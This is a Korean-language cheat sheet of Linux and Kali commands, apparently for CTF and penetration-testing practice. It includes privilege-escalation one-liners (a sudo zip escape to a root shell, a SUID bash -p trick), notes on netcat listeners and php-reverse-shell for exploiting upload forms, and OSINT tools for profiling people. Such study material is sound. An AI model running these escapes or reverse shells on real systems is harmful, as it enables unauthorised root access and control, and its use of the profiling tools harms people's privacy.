< Linux 유용한 명령어 모음>
1. 파일 검색
# 파일명이 flag 인 파일 검색
find / -name "flag.txt"
# 현재 디렉터리 및 하위 디렉터리에서 파일 타입 검색
find . -type f
# Permission denied를 제외한 나머지 출력
find / -name "flag.txt" 2>/dev/null
# type이 파일이면서 권한이 SUID(4000)이 설정된 파일을 출력
find / -type f -perm -4000 -exec ls -h {} \; 2>/dev/null
# test1 파일에서 flag 라는 문자열 검색
grep 'flag' test1
# flag.txt 파일에서 'flag is here' 문자열 근처 flag 획득(대소문자 섞인 경우)
grep -i 'flag is here' flag.txt
# 현재 디렉터리 내 모든 파일에서 flag 문자열 검색
grep 'flag' *
# 타입을 모르는 경우
file 'flag'
# 바이너리 파일에서 문자열 추출
strings -n 10 flag
# 디코딩이 필요한 경우
base64 -d flag.txt
# 파일 용량이 큰 경우 스크립트(또는 CLI 입력) 사용 (자세한 내용은 별도 게시물 참고)
while read -r line; do ~~ done < flag.txt
file flag.txt # 타입 확인
mkdir /tmp/stone1 # 임시 디렉터리 생성
cp -a flag.txt /tmp/stone1 # 파일 복사
cd /tmp/stone1 # 디렉터리 이동
7z x flag.txt # 7zip 압축해제
unzip flag.xyz.zzz.abc # zip 압축해제
mv flag.xyz.zzz flag.xyz.zzz.gz # gzip으로 압축되어있으나 파일 확장자가 .gz가 아니어서 인식못하는 경우 파일명 변경해주기
gunzip flag.xyz.zzz.gz # gzip 압축해제
tar -xvf flag.xyz.zzz # tar 아카이브 풀기
2. 네트워크 확인
# nmap을 통해 localhost에 열린 포트/서비스 확인
nmap localhost
# nc를 사용하여 열린 포트에 연결
nc localhost 12345
3. 권한 상승
# zip 명령어 사용 가능한 경우
sudo zip /etc/passwd -T --unzip-command="sh -c /bin/bash"
# SUID 권한 취약점을 이용하여 취약한 실행 파일에서 root 권한 획득
find / -type f -perm -4000 -exec /bin/bash -p ;
<Kali Linux 도구/명령어 모음>
Nmap
- 네트워크 스캔 툴
- 설치방법: kali linux에는 기본 내장되어 있음
- 사용법:
# 기본 실행
nmap [target IP]
# 포트 지정
nmap -p [port number] [target IP]
# 서비스/버전 상세 정보 확인
nmap -sV [target IP]
Gobuster
- 웹사이트 디렉토리 및 하위 도메인 브루트 포싱 툴
- 설치방법: kali linux에는 기본 내장되어 있음
- 사용법:
gobuster dir -u [target domain] -w [wordlist path]
Searchsploit
- 서비스/버전에 대한 공개된 취약점 검색 도구
- 설치방법: kali linux에는 기본 내장되어 있음
- 사용법:
searchsploit [keyword]
Metasploit
- msfconsole: Exploit 툴인 Metasploit Framework의 CLI 인터페이스
- 설치방법: kali linux에는 기본 내장되어 있음
- 사용법:
# metasploit 오픈
msfconsole
# 취약 모듈 찾기
search [module]
# 모듈 선택
use [number]
# 옵션 설정
options
set rhosts [target IP]
set lhost [my IP]
# 실행
exploit
John the Ripper
- 패스워드 크래킹 툴
- 설치방법: kali linux에는 기본 내장되어 있음
- 사용법:
# 파일 내 패스워드 크래킹
john [filename]
# 크래킹된 결과 확인
john --show [filename]
Base64
- 텍스트나 이진 파일을 base64 형식으로 인코딩 또는 디코딩하는 명령어
- 설치방법: kali linux에는 기본 내장되어 있음
- 사용법:
base64 [filename]
- 예시:
명령어 | 의미 |
base64 test.txt | test.txt를 인코딩한 값 출력 |
base64 --decode test.txt >> test2.txt | test.txt를 디코딩한 값을 test2.txt 파일에 저장 |
echo "abcdefg" | base64 | 문자열 인코딩값 출력 |
echo "YWJjZGVmZwo=" | base64 --decode | 문자열 디코딩값 출력 |
ExifTool
- 파일 메타데이터 읽기, 쓰기 가능한 오픈소스 소프트웨어 프로그램
- 설치방법: kali linux에는 기본 내장되어 있음
- 사용법:
exiftool [filename]
Netcat
- TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 도구
- 설치방법: kali linux에는 기본 내장되어 있음
- 사용법:
# 클라이언트 모드
nc [server IP]
# 서버 모드
nc -lvnp [port number]
- 옵션: -l(서버 시작), -p(서버가 수신할 포트 지정), -e(원격 연결 확인되면 명령 실행), -v(상세 출력 정보 제공), -n(DNS 검색 없이 IP주소 사용하여 서버 연결)
LinEnum
- 로컬 권한 상승 정보를 자동 검색하는 도구
- 설치방법 및 사용법:
# 깃허브에서 다운로드
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
# 실행 권한 부여
chmod +x ./LinEnum.sh
# 실행
./LinEnum.sh
# 결과를 파일로 저장
./LinEnum.sh -r [file path]
PHP 리버스 쉘(php-reverse-shell)
- 타겟 시스템에서 원격 서버로 연결되어 원격 서버에서 타겟 시스템을 제어할 수 있게 해주는 도구
- 파일 업로드 기능이 있는 사이트 exploit 시에 사용
- 설치방법: kali linux에는 기본 내장되어 있음
- 사용법:
# kali에 설치된 php-reverse-shell 위치 찾기
find / -name "*php-reverse-shell*" 2>/dev/null
# IP 및 port 지정
vi php-reverse-shell.php
ProtOSINT
- Proton 메일 계정 정보 수집 도구
- 설치방법 및 사용법:
# 설치방법
git clone https://github.com/pixelbubble/ProtOSINT.git
# 해당 디렉토리로 이동
cd ProtOSINT
# 실행
python3 protosint.py
Sherlock
- 사용자 이름 기반으로 SNS 검색하는 도구
- 설치방법 및 사용법:
# 설치방법
git clone https://github.com/sherlock-project/sherlock.git
# 해당 디렉토리로 이동
cd sherlock
# 필요한 패키지 설치
pip3 install -r requirements.txt
# 실행(자동으로 [username].txt 파일 생성되고 결과 저장됨)
python3 sherlock [username]
cf) sherlock 디렉토리 내 sherlock으로 또 들어가지 말고 그대로 쓰기
<Site 모음>
default password DB
- 디폴트 계정 정보 수집 사이트
- https://www.passwordsdatabase.com/
GTFOBins
- 프로그램과 운영 체제 우회 코드 수집 사이트
- https://gtfobins.github.io/#
WHOXY
- WHOIS(서비스 도메인 정보 조회) 사이트
- 검색 종류: Owner Name, Company Name, Email Address, Domain Keyword
- https://www.whoxy.com/
Google Dorking
- 구글 검색 기능 활용하는 OSINT 기법
- 사용법
파라미터 | 의미 | 예시 |
site | 특정 도메인 | site:*.noredston.com |
intitle | 문서나 페이지 타이틀 | intitle:login intitle:vpn |
filetype | 파일 확장자 | filetype:pdf filetype:csv filetype:xlsx filetype:docx |
intext | 페이지 내 문자열 | intext:"admin" intext:"targets" intext:"disallow" |
* intext는 입력한 문자열과 정확히 일치하는 경우만 반환
Yandex
- 이미지 기반 타 플랫폼 업로드 조회 시 사용하는 사이트
- 원하는 이미지를 업로드하면 해당 이미지와 유사한 이미지를 업로드한 사이트를 리스트해줌
- https://yandex.com/images/
CyberChef
- 암호화 및 복호화 사이트
- 원하는 방식(Base64, Hex, ROT13, URL 등)을 선택하고 BAKE 클릭하여 암복호화 가능
- https://tools.dreamhack.games/cyberchef